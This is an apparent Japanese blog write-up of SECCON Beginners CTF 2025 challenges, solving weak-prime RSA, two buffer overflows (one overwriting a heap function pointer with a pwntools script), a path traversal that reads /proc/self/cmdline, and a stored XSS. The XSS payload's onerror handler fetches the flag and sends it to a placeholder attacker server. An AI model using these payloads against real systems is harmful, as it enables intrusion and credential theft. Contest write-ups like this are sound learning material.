floretとして2人で参加
141/880位 でした
チームとしては18問で自分は crypto 1問、pwn 2問、web 2問解きました。
解いた問題
welcome
100pt (865 solve)
問題
SECCON Beginners CTF 2025へようこそ Flagは ctf4b{W3lc0m3_2_SECCON_Beginners_CTF_2025} です
解法
Flagを貼り付けるだけ
ついにDiscordすら見る必要がなくなった過去一番に簡単なWelcome問題だった
seesaw (crypto)
100pt (612 solve)
問題
RSA初心者です! pとqはこれでいいよね...?
コード
import os
from Crypto.Util.number import getPrime
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}").encode()
m = int.from_bytes(FLAG, 'big')
p = getPrime(512)
q = getPrime(16)
n = p * q
e = 65537
c = pow(m, e, n)
print(f"{n = }")
print(f"{c = }")
n = 362433315617467211669633373003829486226172411166482563442958886158019905839570405964630640284863309204026062750823707471292828663974783556794504696138513859209
c = 104442881094680864129296583260490252400922571545171796349604339308085282733910615781378379107333719109188819881987696111496081779901973854697078360545565962079
解法
pはいいけどqが小さすぎるぞ!
実際にコードを見ると、qが16bitの範囲で作成されている
探索可能なので全探索したら終了
exec(open("output.txt").read())
from Crypto.Util.number import *
e=65537
for q in range(2,1<<16):
if n%q==0:
p=n//q
phi=(p-1)*(q-1)
d=pow(e,-1,phi)
ms=pow(c,d,n)
print(long_to_bytes(ms))
b'ctf4b{unb4l4nc3d_pr1m35_4r3_b4d}'
pet_name (pwn)
100pt (586 solve)
問題
ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。
コード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init() {
// You don't need to read this because it's just initialization
setbuf(stdout, NULL);
setbuf(stdin, NULL);
}
int main() {
init();
char pet_name[32] = {0};
char path[128] = "/home/pwn/pet_sound.txt";
printf("Your pet name?: ");
scanf("%s", pet_name);
FILE *fp = fopen(path, "r");
if (fp) {
char buf[256] = {0};
if (fgets(buf, sizeof(buf), fp) != NULL) {
printf("%s sound: %s\n", pet_name, buf);
} else {
puts("Failed to read the file.");
}
fclose(fp);
} else {
printf("File not found: %s\n", path);
}
return 0;
}
解法
ローカル変数のレジスタは連続しているので
char pet_name[32] = {0};
char path[128] = "/home/pwn/pet_sound.txt";
nameに格納するタイミングでBOFして以降のPATHをFLAGに書き換えれば通りそうだと分かる
なのでコードっぽく作るなら
python -c 'print("A"*32+"/home/pwn/flag.txt")'
という感じで生成した文字列を問題サーバーの入力で渡せばFLAGゲット
nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}
pet_sound (pwn)
100pt (410 solve)
問題
ペットに鳴き声を教えましょう。
コード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Pet;
void speak_flag(struct Pet *p);
void speak_sound(struct Pet *p);
void visualize_heap(struct Pet *a, struct Pet *b);
struct Pet {
void (*speak)(struct Pet *p);
char sound[32];
};
int main() {
struct Pet *pet_A, *pet_B;
setbuf(stdout, NULL);
setbuf(stdin, NULL);
puts("--- Pet Hijacking ---");
puts("Your mission: Make Pet speak the secret FLAG!\n");
printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag);
pet_A = malloc(sizeof(struct Pet));
pet_B = malloc(sizeof(struct Pet));
pet_A->speak = speak_sound;
strcpy(pet_A->sound, "wan...");
pet_B->speak = speak_sound;
strcpy(pet_B->sound, "wan...");
printf("[*] Pet A is allocated at: %p\n", pet_A);
printf("[*] Pet B is allocated at: %p\n", pet_B);
puts("\n[Initial Heap State]");
visualize_heap(pet_A, pet_B);
printf("\n");
printf("Input a new cry for Pet A > ");
read(0, pet_A->sound, 0x32);
puts("\n[Heap State After Input]");
visualize_heap(pet_A, pet_B);
pet_A->speak(pet_A);
pet_B->speak(pet_B);
free(pet_A);
free(pet_B);
return 0;
}
void speak_flag(struct Pet *p) {
char flag[64] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
puts("\nPet seems to want to say something, but can't find 'flag.txt'...");
return;
}
fgets(flag, sizeof(flag), f);
fclose(f);
flag[strcspn(flag, "\n")] = '\0';
puts("\n**********************************************");
puts("* Pet suddenly starts speaking flag.txt...!? *");
printf("* Pet: \"%s\" *\n", flag);
puts("**********************************************");
exit(0);
}
void speak_sound(struct Pet *p) {
printf("Pet says: %s\n", p->sound);
}
void visualize_heap(struct Pet *a, struct Pet *b) {
unsigned long long *ptr = (unsigned long long *)a;
puts("\n--- Heap Layout Visualization ---");
for (int i = 0; i < 12; i++, ptr++) {
printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr);
if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak");
if (ptr == (unsigned long long *)a->sound) printf(" <-- pet_A->sound");
if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)");
if (ptr == (unsigned long long *)b->sound) printf(" <-- pet_B->sound");
puts("");
}
puts("---------------------------------");
}
解法
struct Pet {
void (*speak)(struct Pet *p);
char sound[32];
};
sound[32]と定義されているのに
read(0, pet_A->sound, 0x32);
0x32 = 50byte読み込みを行っている
18byte のBOFが可能
レジスタの配置で考えるとpet_Aのsoundの次はpet_Bのspeakのポインタになるのでそこをspeak_flagのポインタに上書きすれば良さそう
speak_flagのポインタは最初にメッセージとして表示される親切設計らしいのでそれを素直に読み取って渡してやればOK
from pwn import *
def exploit():
io = remote("pet-sound.challenges.beginners.seccon.jp", 9090)
io.recvline()
io.recvline()
io.recvline()
received = io.recvline().strip().split()[-1]
target=int(received,16)
payload=b"A"*40+p64(target)
io.sendline(payload)
io.interactive()
exploit()
[Heap State After Input]
--- Heap Layout Visualization ---
0x00005ea9519622a0: 0x00005ea921c805d2 <-- pet_A->speak
0x00005ea9519622a8: 0x4141414141414141 <-- pet_A->sound
0x00005ea9519622b0: 0x4141414141414141
0x00005ea9519622b8: 0x4141414141414141
0x00005ea9519622c0: 0x4141414141414141
0x00005ea9519622c8: 0x4141414141414141
0x00005ea9519622d0: 0x00005ea921c80492 <-- pet_B->speak (TARGET!)
0x00005ea9519622d8: 0x00002e2e2e6e610a <-- pet_B->sound
0x00005ea9519622e0: 0x0000000000000000
0x00005ea9519622e8: 0x0000000000000000
0x00005ea9519622f0: 0x0000000000000000
0x00005ea9519622f8: 0x0000000000020d11
---------------------------------
Pet says: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��!�^
**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
[*] Got EOF while reading in interactive
前回の問題に習うならb"A"*32じゃないの?という気持ちになると思いますが
実際にレジスタの値を見ると40バイト分離れていたので調整しました
C言語のアライメントの話あたりが関係するのかなと思い
以下あたりを読んだけど今回の問題とは関係しないようです。
https://hirokuma.blog/?p=1691
https://creepfablic.site/2019/09/16/clangu-alignment-padding/
GPTくんに聞いたところ最適化の関係で16byte境界においているのではということでした。真偽は不明です。分かる人教えて下さい。
log-viewer (web)
100pt(621 solve)
問題
ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです...
http://log-viewer.challenges.beginners.seccon.jp:9999
解法
アクセスすると以下のページ
2つファイルが選べる
viewを押下すると以下のようになる
access.log
192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:12:42:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:12:42:15 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:21 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:24 +0900] "GET /?file=../.env HTTP/1.1" 404 690 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:53 +0900] "GET /?file=../../proc/self/environ HTTP/1.1" 200 770 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:43:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:43:59 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:45:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:47:01 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
debug.log
2025/06/21 10:40:02 INFO Initializing LogViewer... pid=17565
2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000
2025/06/21 10:41:56 INFO handlerFunc file=""
2025/06/21 10:41:58 INFO handlerFunc file=""
2025/06/21 10:42:13 INFO handlerFunc file="access.log"
2025/06/21 10:42:15 INFO handlerFunc file="access.log"
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:21 INFO handlerFunc file="debug.log"
2025/06/21 10:42:24 INFO handlerFunc file="../.env"
2025/06/21 12:42:24 ERROR File not available file=../.env
2025/06/21 12:43:53 INFO handlerFunc file="../../proc/self/envion"
2025/06/21 10:43:59 INFO handlerFunc file=""
2025/06/21 12:45:13 INFO handlerFunc file="access.log"
2025/06/21 12:47:01 INFO handlerFunc file="debug.log"
access.logを見ると怪しいPATHが
/?file=../../proc/self/environ
debug.logにもFLAGを格納してそうな一文を発見
2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000
cmdline実行時に引数としてFLAGを渡しているようなので試しにサーバープロセスのcmdlineのログを見てみる
/?file=../../proc/self/cmdline でアクセス
ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}
memo4b (web)
308pt (157 solve)
問題
Emojiが使えるメモアプリケーションを作りました![]()
メモアプリ: http://memo4b.challenges.beginners.seccon.jp:50000
Admin Bot: http://memo4b.challenges.beginners.seccon.jp:50001
Admin Bot (mirror): http://memo4b.challenges.beginners.seccon.jp:50002
Admin Bot (mirror2): http://memo4b.challenges.beginners.seccon.jp:50003
ファイル構成
└── memo4b
├── Dockerfile
├── app.js
├── bot
│ ├── Dockerfile
│ ├── bot.js
│ ├── index.html
│ ├── package-lock.json
│ └── package.json
├── docker-compose.yml
├── flag.txt
├── package-lock.json
├── package.json
├── static
│ └── style.css
└── templates
├── index.html
└── post.html
5 directories, 14 files
量が多いので本質的な部分以外は端折ります
解法
Adminが見に来るということなので以下のサイトを見た瞬間に格納型XSSかなと思いました
脳死でmemo作成ページ側でAdminセッションを奪取するXSSを入れるとエスケープされてしまったのでmemo作成側のコードを確認
ちなみにBOT側でエスケープはされていないようだった
app.post('/', (req,res)=>{
const { title='', md='' } = req.body;
marked.setOptions({
breaks: true,
gfm: false
});
let html = marked.parse(md);
html = sanitizeHtml(html, {
allowedTags: ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'a', 'ul', 'ol', 'li', 'blockquote', 'code', 'pre', 'em', 'strong', 'br'],
allowedAttributes: {
'a': ['href']
}
});
html = processEmojis(html);
const id = crypto.randomUUID().slice(0,8);
posts.set(id,{
title: title.replace(/[<>]/g, ''),
html: html
});
res.redirect(`/post/${id}`);
});
sanitizeHtmlを見るにscriptタグは使用できなさそう
function processEmojis(html) {
return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => {
if (emojiMap[name]) {
return emojiMap[name];
}
if (name.match(/^https?:\/\//)) {
try {
const urlObj = new URL(name);
const baseUrl = urlObj.origin + urlObj.pathname;
const parsed = parse(name);
const fragment = parsed.hash || '';
const imgUrl = baseUrl + fragment;
return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`;
} catch (e) {
return match;
}
}
return match;
});
}
process絵文字を見るに、雑にみると:http://*.:の範囲でなら文字を作れそう
そのプロセスを経た結果imageタグに囲まれて出力をしている
imageが取れないときに発火するonerrorでリクエストを記録するサーバーに対してアクセスさせればセッションを奪えそう
:http://invalid.png/#" onerror="fetch('/flag').then(r=>r.text()).then(t=>fetch('YOUR_EVIL_SERVER/?flag='+encodeURIComponent(t)))":
すると以下のようになるので、URLの最後にあるidをAdminボット側に指定すればOK
感想
最終的にチームで解いた問題で100ptにならなかった問題はpivot4bとmemo4bの2問だけだったのは正直驚いた
昨年37位で何なら昨年より難しい問題解けてたことを考えると周りが強くなったのかAIが進化したのか()
発言は個人の見解に基づくものであり、所属組織を代表するものではありません








